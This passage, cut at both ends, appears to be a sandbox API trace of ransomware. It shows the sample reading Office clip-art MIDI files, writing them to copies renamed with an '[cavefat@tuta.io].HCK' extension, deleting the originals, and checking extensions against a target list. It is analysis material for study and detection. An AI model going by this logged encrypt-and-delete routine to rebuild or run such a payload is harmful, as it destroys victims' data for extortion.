(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0229.623] GetLastError () returned 0x0 [0229.623] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x1b3a, lpOverlapped=0x0) returned 1 [0229.774] WriteFile (in: hFile=0x54c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1b40, lpOverlapped=0x0) returned 1 [0229.775] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.775] WriteFile (in: hFile=0x54c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.775] SetEndOfFile (hFile=0x54c) returned 1 [0229.775] CloseHandle (hObject=0x54c) returned 1 [0229.775] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.775] SetEndOfFile (hFile=0x4d4) returned 1 [0229.777] CloseHandle (hObject=0x4d4) returned 1 [0229.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0229.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.961] lstrlenW (lpString=".doc") returned 4 [0229.961] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.961] lstrlenW (lpString=".docx") returned 5 [0229.961] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.961] lstrlenW (lpString=".pdf") returned 4 [0229.961] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.961] lstrlenW (lpString=".xls") returned 4 [0229.961] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.961] lstrlenW (lpString=".xlsx") returned 5 [0229.961] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.961] lstrlenW (lpString=".ppt") returned 4 [0229.962] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.962] lstrlenW (lpString=".zip") returned 4 [0229.962] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.962] lstrlenW (lpString=".rar") returned 4 [0229.962] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.962] lstrlenW (lpString=".bz2") returned 4 [0229.962] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.962] lstrlenW (lpString=".7z") returned 3 [0229.962] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.962] lstrlenW (lpString=".dbf") returned 4 [0229.962] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.962] lstrlenW (lpString=".1cd") returned 4 [0229.962] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.962] lstrlenW (lpString=".jpg") returned 4 [0229.962] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.962] lstrlenW (lpString=".doc") returned 4 [0229.962] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.962] lstrlenW (lpString=".docx") returned 5 [0229.962] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.962] lstrlenW (lpString=".pdf") returned 4 [0229.962] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.962] lstrlenW (lpString=".xls") returned 4 [0229.962] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.962] lstrlenW (lpString=".xlsx") returned 5 [0229.962] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.962] lstrlenW (lpString=".ppt") returned 4 [0229.962] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.962] lstrlenW (lpString=".zip") returned 4 [0229.962] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.962] lstrlenW (lpString=".rar") returned 4 [0229.962] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.962] lstrlenW (lpString=".bz2") returned 4 [0229.962] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.963] lstrlenW (lpString=".7z") returned 3 [0229.963] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.963] lstrlenW (lpString=".dbf") returned 4 [0229.963] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.963] lstrlenW (lpString=".1cd") returned 4 [0229.963] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0229.963] lstrlenW (lpString=".jpg") returned 4 [0229.963] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.963] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.963] lstrlenW (lpString="JAVA_01.MID") returned 11 [0229.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.041] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=9797) returned 1 [0230.041] CloseHandle (hObject=0x4d4) returned 1 [0230.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220 [0230.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.043] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.043] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0230.045] GetLastError () returned 0x0 [0230.045] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2645, lpOverlapped=0x0) returned 1 [0230.047] WriteFile (in: hFile=0x4a8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2650, lpOverlapped=0x0) returned 1 [0230.048] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.048] WriteFile (in: hFile=0x4a8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xea, lpOverlapped=0x0) returned 1 [0230.048] SetEndOfFile (hFile=0x4a8) returned 1 [0230.048] CloseHandle (hObject=0x4a8) returned 1 [0230.048] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.048] SetEndOfFile (hFile=0x4d4) returned 1 [0230.050] CloseHandle (hObject=0x4d4) returned 1 [0230.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1 [0230.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.051] lstrlenW (lpString=".doc") returned 4 [0230.051] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.051] lstrlenW (lpString=".docx") returned 5 [0230.051] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.051] lstrlenW (lpString=".pdf") returned 4 [0230.051] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.051] lstrlenW (lpString=".xls") returned 4 [0230.051] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.051] lstrlenW (lpString=".xlsx") returned 5 [0230.051] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.051] lstrlenW (lpString=".ppt") returned 4 [0230.051] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.051] lstrlenW (lpString=".zip") returned 4 [0230.051] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.051] lstrlenW (lpString=".rar") returned 4 [0230.051] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.051] lstrlenW (lpString=".bz2") returned 4 [0230.051] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.051] lstrlenW (lpString=".7z") returned 3 [0230.051] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.051] lstrlenW (lpString=".dbf") returned 4 [0230.051] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.051] lstrlenW (lpString=".1cd") returned 4 [0230.051] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.051] lstrlenW (lpString=".jpg") returned 4 [0230.051] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.051] lstrlenW (lpString=".doc") returned 4 [0230.051] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.051] lstrlenW (lpString=".docx") returned 5 [0230.051] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.052] lstrlenW (lpString=".pdf") returned 4 [0230.052] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.052] lstrlenW (lpString=".xls") returned 4 [0230.052] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.052] lstrlenW (lpString=".xlsx") returned 5 [0230.052] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.052] lstrlenW (lpString=".ppt") returned 4 [0230.052] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.052] lstrlenW (lpString=".zip") returned 4 [0230.052] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.052] lstrlenW (lpString=".rar") returned 4 [0230.052] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.052] lstrlenW (lpString=".bz2") returned 4 [0230.052] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.052] lstrlenW (lpString=".7z") returned 3 [0230.052] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.052] lstrlenW (lpString=".dbf") returned 4 [0230.052] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.052] lstrlenW (lpString=".1cd") returned 4 [0230.052] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0230.052] lstrlenW (lpString=".jpg") returned 4 [0230.052] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.052] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.052] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0230.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.053] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=5843) returned 1 [0230.053] CloseHandle (hObject=0x4d4) returned 1 [0230.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220 [0230.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.053] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.054] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0230.054] GetLastError () returned 0x0 [0230.054] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x16d3, lpOverlapped=0x0) returned 1 [0230.055] WriteFile (in: hFile=0x4a8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x16e0, lpOverlapped=0x0) returned 1 [0230.056] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.057] WriteFile (in: hFile=0x4a8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.057] SetEndOfFile (hFile=0x4a8) returned 1 [0230.057] CloseHandle (hObject=0x4a8) returned 1 [0230.057] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.057] SetEndOfFile (hFile=0x4d4) returned 1 [0230.058] CloseHandle (hObject=0x4d4) returned 1 [0230.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0230.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.059] lstrlenW (lpString=".doc") returned 4 [0230.059] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.060] lstrlenW (lpString=".docx") returned 5 [0230.060] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.060] lstrlenW (lpString=".pdf") returned 4 [0230.060] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.060] lstrlenW (lpString=".xls") returned 4 [0230.060] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.060] lstrlenW (lpString=".xlsx") returned 5 [0230.060] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.060] lstrlenW (lpString=".ppt") returned 4 [0230.060] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.060] lstrlenW (lpString=".zip") returned 4 [0230.060] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.060] lstrlenW (lpString=".rar") returned 4 [0230.060] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.060] lstrlenW (lpString=".bz2") returned 4 [0230.060] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.060] lstrlenW (lpString=".7z") returned 3 [0230.060] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.060] lstrlenW (lpString=".dbf") returned 4 [0230.060] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.060] lstrlenW (lpString=".1cd") returned 4 [0230.060] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.060] lstrlenW (lpString=".jpg") returned 4 [0230.060] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.060] lstrlenW (lpString=".doc") returned 4 [0230.060] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.060] lstrlenW (lpString=".docx") returned 5 [0230.060] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.060] lstrlenW (lpString=".pdf") returned 4 [0230.060] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.060] lstrlenW (lpString=".xls") returned 4 [0230.060] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.060] lstrlenW (lpString=".xlsx") returned 5 [0230.060] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.060] lstrlenW (lpString=".ppt") returned 4 [0230.060] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.060] lstrlenW (lpString=".zip") returned 4 [0230.061] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.061] lstrlenW (lpString=".rar") returned 4 [0230.061] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.061] lstrlenW (lpString=".bz2") returned 4 [0230.061] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.061] lstrlenW (lpString=".7z") returned 3 [0230.061] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.061] lstrlenW (lpString=".dbf") returned 4 [0230.061] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.061] lstrlenW (lpString=".1cd") returned 4 [0230.061] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0230.061] lstrlenW (lpString=".jpg") returned 4 [0230.061] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.061] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.061] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0230.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.062] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6880) returned 1 [0230.062] CloseHandle (hObject=0x4d4) returned 1 [0230.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220 [0230.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.063] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.063] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 